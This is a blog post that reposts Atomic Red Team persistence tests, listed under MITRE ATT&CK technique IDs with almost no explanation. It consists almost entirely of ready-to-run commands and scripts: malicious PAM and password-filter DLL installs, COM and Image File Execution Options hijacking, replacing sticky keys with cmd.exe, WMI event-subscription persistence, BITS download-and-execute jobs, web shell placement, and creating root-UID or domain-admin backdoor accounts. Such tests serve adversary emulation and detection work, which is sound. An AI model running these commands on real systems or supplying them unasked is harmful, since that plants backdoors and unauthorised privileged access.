Atomic-持久化

发布时间 2023-06-28 14:03:41作者: 皇帽讲绿帽带法技巧

T1556.003

Modify Authentication Process: Pluggable Authentication Modules

T1556.002

Modify Authentication Process: Password Filter DLL

T1546

Event Triggered Execution

T1546.015

Event Triggered Execution: Component Object Model Hijacking

T1546.014

Event Triggered Execution: Emond

T1546.013

Event Triggered Execution: PowerShell Profile

T1546.012

Event Triggered Execution: Image File Execution Options Injection

T1546.011

Event Triggered Execution: Application Shimming

T1546.010

Event Triggered Execution: AppInit DLLs

T1546.009

Event Triggered Execution: AppCert DLLs

T1546.008

Event Triggered Execution: Accessibility Features

T1546.007

Event Triggered Execution: Netsh Helper DLL

T1546.005

Event Triggered Execution: Trap

T1546.004

Event Triggered Execution: .bash_profile and .bashrc

T1546.003

Event Triggered Execution: Windows Management Instrumentation Event Subscription

T1546.002

Event Triggered Execution: Screensaver

T1546.001

Event Triggered Execution: Change Default File Association

T1505.005

Server Software Component: Terminal Services DLL

T1505.004

IIS Components

T1505.003

Server Software Component: Web Shell

T1505.002

Server Software Component: Transport Agent

T1197

BITS Jobs

T1176

Browser Extensions

T1137

Office Application Startup

T1137.006

Office Application Startup: Add-ins

T1137.004

Office Application Startup: Outlook Home Page

T1137.002

Office Application Startup: Office Test

T1136.003

Create Account: Cloud Account

T1136.002

Create Account: Domain Account

T1136.001

Create Account: Local Account

T1098

Account Manipulation

T1098.004

SSH Authorized Keys

T1098.001

Account Manipulation: Additional Cloud Credentials


T1556.003

Modify Authentication Process: Pluggable Authentication Modules

Malicious PAM rule

sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

Malicious PAM module

sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}

T1556.002

Modify Authentication Process: Password Filter DLL

Install and Register Password Filter DLL

reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ PathToAtomicsFolder\T1556.002\lsa_backup.reg
$passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues

T1546

Event Triggered Execution

Persistence with Custom AutodialDLL

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)

New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"

HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)

$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
  New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"

WMI Invoke-CimMethod Start Process

# Set the remote computer name and credentials
 $RemoteComputer = "#{dest}"
 $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
 $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword

 # Create a CIM session
 $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential

 # Define the process you want to start
 $ProcessToStart = "#{process}"

 # Invoke the Create method on the Win32_Process class to start the process
 $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}

 # Check the result
 if ($Result.ReturnValue -eq 0) {
     Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
 } else {
     Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
 }

 # Clean up the CIM session
 Remove-CimSession -CimSession $CimSession

T1546.015

Event Triggered Execution: Component Object Model Hijacking

COM Hijacking - InprocServer32

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dllpath}
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'

Powershell Execute COM Object

$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $o.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

COM Hijacking with RunDLL32 (Local Server Switch)

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dll_path}
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'

COM hijacking via TreatAs

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

rundll32.exe -sta "AtomicTest"

T1546.014

Event Triggered Execution: Emond

Persistance with Event Monitor - emond

sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist
sudo touch /private/var/db/emondClients/T1546.014

T1546.013

Event Triggered Execution: PowerShell Profile

Append malicious start-process cmdlet

Add-Content #{ps_profile} -Value ""
Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
powershell -Command exit

T1546.012

Event Triggered Execution: Image File Execution Options Injection

IFEO Add Debugger

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"

IFEO Global Flags

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"

GlobalFlags in Image File Execution Options

$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force 

$Name = "MonitorProcess"
$Value = "#{cmd_to_run}"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe

T1546.011

Event Triggered Execution: Application Shimming

Application Shim Installation

sdbinst.exe #{file_path}

New shim database files created in the default shim database directory

Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb

Registry key creation and/or modification events for SDB

New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"

T1546.010

Event Triggered Execution: AppInit DLLs

Install AppInit Shim

reg.exe import #{registry_file}

T1546 .009

Event Triggered Execution: AppCert DLLs

Create registry persistence via AppCert DLL

Copy-Item #{dll_path} C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if(#{reboot}){Restart-Computer}

T1546.008

Event Triggered Execution: Accessibility Features

Attaches Command Prompt as a Debugger to a List of Target Processes

$input_table = "#{parent_list}".split(",")
$Name = "Debugger"
$Value = "#{attached_process}"
Foreach ($item in $input_table){
  $item = $item.trim()
  $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
  IF(!(Test-Path $registryPath))
  {
    New-Item -Path $registryPath -Force
    New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
  }
  ELSE
  {
    New-ItemProperty -Path $registryPath -Name $name -Value $Value
  }
}

Replace binary of sticky keys

IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd )
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe

T1546.007

Event Triggered Execution: Netsh Helper DLL

Netsh Helper DLL Registration

netsh.exe add helper #{helper_file}
taskkill /im notepad.exe /t /f > NUL 2>&1

T1546.005

Event Triggered Execution: Trap

Trap EXIT

bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" EXIT'

Trap SIGINT

bash -c 'trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'

T1546.004

Event Triggered Execution: . bash_profile and . bashrc

Add command to . bash_profile

echo '#{command_to_add}' >> ~/.bash_profile

Add command to . bashrc

echo '#{command_to_add}' >> ~/.bashrc

Append to the system shell profile

echo '#{text_to_append}' >> /etc/profile

Append commands user shell profile

echo '#{text_to_append}' >> ~/.profile

System shell profile scripts

echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh

Create/Append to . bash_logout

useradd --create-home --shell /bin/bash art
su --login art
echo 'echo "Atomic Red Team was here... T1546.004" >> $HOME/art.txt' >> $HOME/.bash_logout

T1546.003

Event Triggered Execution: Windows Management Instrumentation Event Subscription

Persistence via WMI Event Subscription - CommandLineEventConsumer

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

Persistence via WMI Event Subscription - ActiveScriptEventConsumer

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                ScriptingEngine='VBScript';
                ScriptText='
                Set objws = CreateObject("Wscript.Shell")
                objws.Run "notepad.exe", 0, True
                '}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs

Windows MOFComp.exe Load MOF File

c:\windows\system32\wbem\mofcomp.exe PathToAtomicsFolder\T1546.003\src\T1546.003.mof|

T1546.002

Event Triggered Execution: Screensaver

Set Arbitrary Binary as Screensaver

reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if #{reboot} NEQ 0 shutdown /r /t 0

T1546.001

Event Triggered Execution: Change Default File Association

Change Default File Association

Change Default File Association

assoc #{extension_to_change}=#{target_extension_handler}

T1505.005

Server Software Component: Terminal Services DLL

Simulate Patching termsrv. dll

$ACL = Get-Acl $fileName
$permission = "Administrators","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$ACL.SetAccessRule($accessRule)
Set-Acl -Path $fileName -AclObject $ACL

Copy-Item -Path "C:\Windows\System32\termsrv.dll" -Destination "C:\Windows\System32\termsrv_backup.dll" -ErrorAction Ignore
Add-Content -Path "C:\Windows\System32\termsrv.dll" -Value "`n" -NoNewline -ErrorAction Ignore
Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore

T1505.004

IIS Components

Install IIS Module using AppCmd. exe

%windir%\system32\inetsrv\appcmd.exe install module /name:#{module_name} /image:#{dll_path}

Install IIS Module using PowerShell Cmdlet New-WebGlobalModule

New-WebGlobalModule -Name #{module_name} -Image #{dll_path}

T1505.003

Server Software Component: Web Shell

Web Shell Written to Disk

xcopy /I /Y #{web_shells} #{web_shell_path}

T1505.002

Server Software Component: Transport Agent

Install MS Exchange Transport Agent Persistence

Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}
Enable-TransportAgent #{transport_agent_identity}
Get-TransportAgent | Format-List Name,Enabled

T1197

BITS Jobs

Bitsadmin Download (cmd)

bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

Bitsadmin Download (PowerShell)

Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}

Persist, Download, & Execute

bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
bitsadmin.exe /resume #{bits_job_name}
ping -n 5 127.0.0.1 >nul 2>&1
bitsadmin.exe /complete #{bits_job_name}

Bits download using desktopimgdownldr. exe (cmd)

set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr

T1176

Browser Extensions

Chrome (Developer Mode)

1. Navigate to chrome://extensions and tick 'Developer Mode'.
    
2. Click 'Load unpacked extension...' and navigate to [Browser_Extension](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/t1176/src)↳
    
3. Click 'Select'

Chrome (Chrome Web Store)

1. Navigate to [https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend](https://chrome.google.com/webstore/detail/minimum-viable-malicious/odlpfdolehmhciiebahbpnaopneicend) in Chrome
    
2. Click 'Add to Chrome'

Firefox

1. Navigate to about:debugging and click "Load Temporary Add-on"
    
2. Navigate to [manifest.json](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1176/src/manifest.json)
    
3. Then click 'Open'

Edge Chromium Addon - VPN

1. Navigate to [https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj](https://microsoftedge.microsoft.com/addons/detail/fjnehcbecaggobjholekjijaaekbnlgj) in Edge Chromium
    
2. Click 'Get'

Google Chrome Load Unpacked Extension With Command Line

# Chromium
$chromium =  "https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip"

# uBlock Origin Lite to test side-loading
$extension = "https://github.com/gorhill/uBlock/releases/download/uBOLite_0.1.23.6055/uBOLite_0.1.23.6055.chromium.mv3.zip"

Set-Location "#{working_dir}"

Set-Variable ProgressPreference SilentlyContinue
Invoke-WebRequest -URI $chromium -OutFile "#{working_dir}\chrome.zip"
Invoke-WebRequest -URI $extension -OutFile "#{working_dir}\extension.zip"


Expand-Archive chrome.zip -DestinationPath "#{working_dir}" -Force
Expand-Archive extension.zip -Force

Start-Process .\chrome-win\chrome.exe --load-extension="#{working_dir}\extension\" -PassThru

T1137

Office Application Startup

Office Application Startup - Outlook as a C2

reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f
mkdir  %APPDATA%\Microsoft\Outlook\ >nul 2>&1
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM

T1137.006

Office Application Startup: Add-ins

Code Executed Via Excel Add-in File (XLL)

$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll")
}
else{
  Write-Host "32-bit Office"
  $excelApp.RegisterXLL("PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll")
}

Persistent Code Execution Via Excel Add-in File (XLL)

$excelApp = New-Object -COMObject "Excel.Application"
if(-not $excelApp.path.contains("Program Files (x86)")){
    Write-Host "64-bit Office"
    Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x64.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\excelxll_x86.xll" "$env:APPDATA\Microsoft\AddIns\notepad.xll"
}
$ver = $excelApp.version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\Excel\Options"
Remove-Item $ExcelRegPath -ErrorAction Ignore
New-Item -type Directory $ExcelRegPath | Out-Null
New-ItemProperty $ExcelRegPath OPEN -value "/R notepad.xll" -propertyType string | Out-Null
$excelApp.Quit()
Start-Process "Excel"

Persistent Code Execution Via Word Add-in File (WLL)

$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))  
{
  Write-Host "64-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x64.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"        
}
else{
  Write-Host "32-bit Office"
  Copy "PathToAtomicsFolder\T1137.006\bin\Addins\wordwll_x86.wll" "$env:APPDATA\Microsoft\Word\Startup\notepad.wll"
}
Stop-Process -Name "WinWord" 
Start-Process "WinWord"

Persistent Code Execution Via Excel VBA Add-in File (XLAM)

Copy "PathToAtomicsFolder\T1137.006\bin\Addins\ExcelVBAaddin.xlam" "$env:APPDATA\Microsoft\Excel\XLSTART\notepad.xlam"        
Start-Process "Excel"

Persistent Code Execution Via PowerPoint VBA Add-in File (PPAM)

Copy "PathToAtomicsFolder\T1137.006\bin\Addins\PptVBAaddin.ppam" "$env:APPDATA\Microsoft\Addins\notepad.ppam"
$ver = (New-Object -COMObject "PowerPoint.Application").version
$ExcelRegPath="HKCU:\Software\Microsoft\Office\$Ver\PowerPoint\AddIns\notepad"
New-Item -type Directory $ExcelRegPath -Force | Out-Null
New-ItemProperty $ExcelRegPath "Autoload" -value "1" -propertyType DWORD  | Out-Null
New-ItemProperty $ExcelRegPath "Path" -value "notepad.ppam" -propertyType string | Out-Null
Stop-Process -Name "PowerPnt" -ErrorAction Ignore
Start-Process "PowerPnt"

T1137.004

Office Application Startup: Outlook Home Page

Install Outlook Home Page Persistence

reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder} /v URL /t REG_SZ /d #{url} /f

T1137.002

Office Application Startup: Office Test

Office Application Startup Test Persistence (HKCU)

$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))  
{
  Write-Host "64-bit Office"
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" /f       
}
else{
  Write-Host "32-bit Office"
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" /f
}
Stop-Process -Name "WinWord" 
Start-Process "WinWord"

T1136.003

Create Account: Cloud Account

AWS - Create a new IAM user

aws iam create-user --user-name #{username}

Azure AD - Create a new user

Connect-AzureAD
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"      
$password = "#{password}"
$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile
$PasswordProfile.Password = $password
New-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username

Azure AD - Create a new user via Azure CLI

az login
$userprincipalname = "#{userprincipalname}"
$username = "#{username}"      
$password = "#{password}"
az ad user create --display-name $username --password $password --user-principal-name $userprincipalname
az ad user list --filter "displayname eq 'atomicredteam'"

T1136.002

Create Account: Domain Account

Create a new Windows domain admin user

net user "#{username}" "#{password}" /add /domain
net group "#{group}" "#{username}" /add /domain

Create a new account similar to ANONYMOUS LOGON

net user "#{username}" "#{password}" /add /domain

Create a new Domain Account using PowerShell

$SamAccountName = '#{username}'
$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User

Active Directory Create Admin Account

echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

Active Directory Create User Account (Non-elevated)

echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

T1136.001

Create Account: Local Account

Create a user account on a Linux system

useradd -M -N -r -s /bin/bash -c evil_account #{username}

Create a user account on a MacOS system

dscl . -create /Users/#{username}
dscl . -create /Users/#{username} UserShell /bin/zsh
dscl . -create /Users/#{username} RealName "#{realname}"
dscl . -create /Users/#{username} UniqueID "1010"
dscl . -create /Users/#{username} PrimaryGroupID 80
dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}

Create a new user in a command prompt

net user /add "#{username}" "#{password}"

Create a new user in PowerShell

New-LocalUser -Name "#{username}" -NoPassword

Create a new user in Linux with root UID and GID.

useradd -g 0 -M -d /root -s /bin/bash #{username}
if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;

Create a new Windows admin user

net user /add "#{username}" "#{password}"
net localgroup administrators "#{username}" /add

T1098

Account Manipulation

Admin Account Manipulate

$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

foreach($member in $fmm) {
    if($member -like "*Administrator*") {
        $account = $member.Name.Split("\")[-1] # strip computername\
        $originalDescription = (Get-LocalUser -Name $account).Description
        Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
        Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
        Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
        }
    }

Domain Account and Group Manipulate

$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "#{account_prefix}-$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}
Add-ADGroupMember "#{group}" $account

AWS - Create a group and add a user to that group

aws iam create-group --group-name #{username}
aws iam add-user-to-group --user-name #{username} --group-name #{username}

Azure AD - adding user to Azure AD role

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential

$user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'"
